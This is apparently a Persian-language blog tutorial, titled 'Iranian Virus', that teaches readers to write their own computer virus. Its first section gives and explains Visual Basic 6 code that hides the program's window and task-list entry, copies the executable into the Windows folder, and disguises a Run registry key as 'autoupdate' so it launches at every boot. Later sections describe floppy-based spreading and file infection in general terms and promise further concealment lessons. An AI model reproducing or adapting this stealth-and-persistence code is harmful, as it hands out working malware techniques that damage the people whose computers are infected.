ویروس ایرانی

یک ویروس برای اینکه بتونه کارهای مخربش رو انجام بده،باید هر لحظه اجرا باشه.یعنی از زمانی که ویندوز بار گزاری میشه تا وقتی که از ویندوز خارج می شویم.هر ویروسی باید خونه ای داشته باشه و تو اونجا زندگی کنه و خونه اش جایی باشه که نه کاربر به اون دسترسی داشته باشه و نه حذف بشه.پس بهترین جا،پوشه ی ویندوز است که بعضی ها از رفتن به آن خودداری می کنند زیرا می ترسن ویندوزشون خراب بشه.خوب،کار بعدی اینه که ویروس،هر بار ویندوز اجرا شد،اجرا بشه که این کمک می کنه تا ویروس،هر کاری بخواد بکنه.اول Visual Basic رو اجرا کنید و بعد standard exe و بعد هم در قسمت form_load کدهای زیر رو بنویسید.

Me.hide App.taskvisible = false Set fso = CreateObject("scripting.filesystemobject") Set windir = fso.getspecialfolder(0) file = App.Path & "\" & App.EXEName & ".exe" FileCopy file, windir & "\" & App.EXEName & ".exe" file2 = windir & "\" & App.EXEName & ".exe" Set Reg = CreateObject("wscript.shell") Reg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\run\autoupdate", file2

اگه از کدهای vb سردر نمیارید براتون توضیح میدم.در خط اول کدی را وارد کردیم که باعث می شود form برنامه،در حین اجرا مخفی باشد و خط دوم باعث می شود تا برنامه،در لیست task های taskmanager مخفی باشد.در پست های بعد،آموزش مخفی کردن ویروس در لیست process های taskmanager رو می دم.در خط سوم،ما شئی fso رو برای دسترسی به فایل ها،فولدرهاو ...به برنامه معرفی کردیم.اگه این کارو نکنیم از قابلیت های این شئی برخوردار نمی شویم.در خط چهارم،از متد getspecialfolder برای بدست آوردن پوشه های حساس ویندوز استفاده می کنیم.اگه به جای صفر،یک بذاریم پوشه ی system 32 را به ما می دهد و اگر 2 بذاریم،پوشه ی temp ویندوز رو میده.در خط پنجم،مسیر فایل خودمون رو بدست آوردیم و اگه این کارو نکنیم،نمی تونیم فایل یا ویروسمون رو کپی کنیم.در خط ششم فایل را کپی کرده و در خط هفتم مسیر فایل کپی شده را به برنامه می دهیم چون برای گذاشتن مسیر فایل در ریجیستری به آن نیاز مندیم و در خط بعدی،شیئی را به برنامه معرفی کرده ایم که باعث می شود بتوانیم به ریجیستری دسترسی داشته یاشیم و در خط آخر هم،مسیر فایل کپی شده را در قسمتی خاص در ریجیستری می گذاریم.ریجیستری مکانی است که حیات ویندوز به آن وابسته است و کارهای اصلی ویندوز به وسیله ی آن صورت می گیرد و برای دسترسی به ریجیستری در run عبارت regedit رو تایپ کنید.امیدوارم از این مطالب،لذت برده باشید.تا پست بعد،خدا حافظ.

یکی از راه های دیگر راه یابی ویروس به کامپیوتر های دیگر، انتشار توسط فلاپی است.اگر ویروسی این قابلیت را داشته باشد و به کامپیوترهایی که برای مصرف عموم هستند و فلاپی در آن ها کاربرد بسیار دارد وارد شود،به صدها کامپیوتر دیگر هم انتقال پیدا می کند.به این صورت که اگر کسی داخل کامپیوتر،فلاپی قرار داد،ویروس به طور خودکار،یک کپی از خود را به فلاپی انتقال می دهد.در اینجا باید گفت که اگر ویروسی خود را منتشر نکند،کمتر از ویروس های دیگر قابل توجه است.پس منتشر شدن ویروس،یکی از راه های بسیار موثر در معروف شدن آن است.اگر سری به سایت شرکت های تولید کننده ی آنتی ویروس بزنید،می بینید که ویروس های با انتشار بسیار بالا،در سطر لیست ویروس های خطرناک وجود دارد زیرا اگر چه ممکن است برای یک کامپیوتر،کم خطر باشد اما وقتی وارد کامپیوتر های دیگری شد و چون کامپیوتر های زیادی به آن دچار شده اند،مجموع خطر هایش زیاد می شود و این باعث می شود که این نوع ویروس ها از ویروس هایی که دارای خطر بسیار ولی انتشار کم هستند،خطرناک تر باشند.در بخش بعد،با انواع ویروس آشنا می شویم.

همانطوری که خداوند،ویروس ها را از جنس خود انسان و موجودات زنده آفرید،ویروس های کامپیوتری هم از چیزی که در خود کامپیوتر وجود دارد ساخته می شود.در واقع اگر بخواهیم ویروس های کامپیوتری را تعریف کنیم می گوییم: "ویروس های کامپیوتری،نرم افزار های بسیار کوچکی هستند که کارهای مخربی انجام می دهند و این کار هایشان طوری است که ما به آن ها لقب ویروس را داده ایم ".حال می خواهیم بگوییم که همان طور که ویروس های بیولوژیکی سلول ها را آلوده می کنند و ویروس های بیولوژیکی از سلول،بسیار کوچک ترند،به همین خاطر به این نرم افزار های کوچک که از فایل هایی که آن ها را آلوده می کنند،کوچک ترند،لقب ویروس را داده ایم.نرم افزار ها، همان فایل ها یا سلول ها هستند و ویروس های کامپیوتری مانند ویروس های انسانی،نرم افزار ها یا فایل های کوچکتری هستند.

شاید با این مطالب،خیلی کم در یافته باشیم که ویروس چیست.همان جوری که ویروس بیولوژیکی وارد سلول ها می شود و ماده ی وراثتی را وارد سلول می کند،ویروس کامپیوتری هم یک نسخه از خود را وارد فایل ها می کند.به فایلی که یک نسخه از ویروس کامپیوتری در ساختار خود دارد را فایل آلوده می گوییم.اگر کمی در این نوشته ها تفکر کنیم،می فهمیم که ساخت یک ویروس کامپیوتری که یک نسخه از خود را مانند ویروس انسانی که ماده ی وراثتی را وارد سلول ها میکند،وارد فایل ها میکند،کار ساده ای نیست.در ضمن،گلبول های سفید یا آنتی ویروس ها،مانع از این کار می شوند ولی ویروس های قوی،بر آنتی ویروس ها هم(گلبول های سفید) غلبه می کنند.

خوب هم اکنون شاید برای شما این سوال که چگونه ویروس های کامپیوتری،یک کپی از خود را وارد یک فایل می کنند،پیش آمده باشد.

هر نرم افزاری که ساخته یا نوشته می شود،دارای کد هاییست که این کدها برای کامپیوتر،به صورت صفر و یک هستند.حال ویروس که می خواهد فایلی را آلوده کند،آن فایل را ویرایش می کند.ویروس،کدهای خود را بدست می آورد و کدهای خود را وارد فایل می کند.به این صورت یک فایل آلود می شود.اگر وارد بحث تخصصی تر آن بشویم،می گوییم که ویروس ها،هر نوع فایلی را آلوده نمی کنند و فقط فایل هایی که قابلیت اجرا شدن به صورت مستقیم یا غیر مستقیم(توسط برنامه ای دیگر،فایل باز شود)را آلوده می کنند.برای همین،ویروسی که قابلیت تشخیص فایل ها از یکدیگر را دارد،موفق تر است و مانند اینکه ویروس فلج اطفال،فقط به سلول های نخاع حمله می کند.در ضمن نحوه ی آلوده کردنشان تفاوت دارد.بعضی از آن ها کد های فایل ها را تماما" پاک می کنند و کد های خود را جایگزین می کنند که در این صورت فایل آلوده شده،قابل درمان توسط آنتی ویروس ها نیست و فایل به طور کامل از بین رفته و به ویروس تبدیل شده است اما شکل ظاهریش باقی می ماند ولی بعضی ها کد های  فایل آلوده شده را از بین نمی برند،بلکه کدهای خودشان را کنار کدهای فایل می گذارند.اما در هر دو صورت،هنگامی که فایل در هر کامپیوتری اجرا شد،انگار ویروس اجرا شده است و این یکی از علت هایی است که ویروس نویسان،فایل ها را آلوده می کنند که هم نرم افزاری که ساخته اند ویروس نام گیرد و هم ویروسشان منتشر شود.در بخش بعدی با نحوه ی منتشر شدن ویروس ها آشنا می شویم.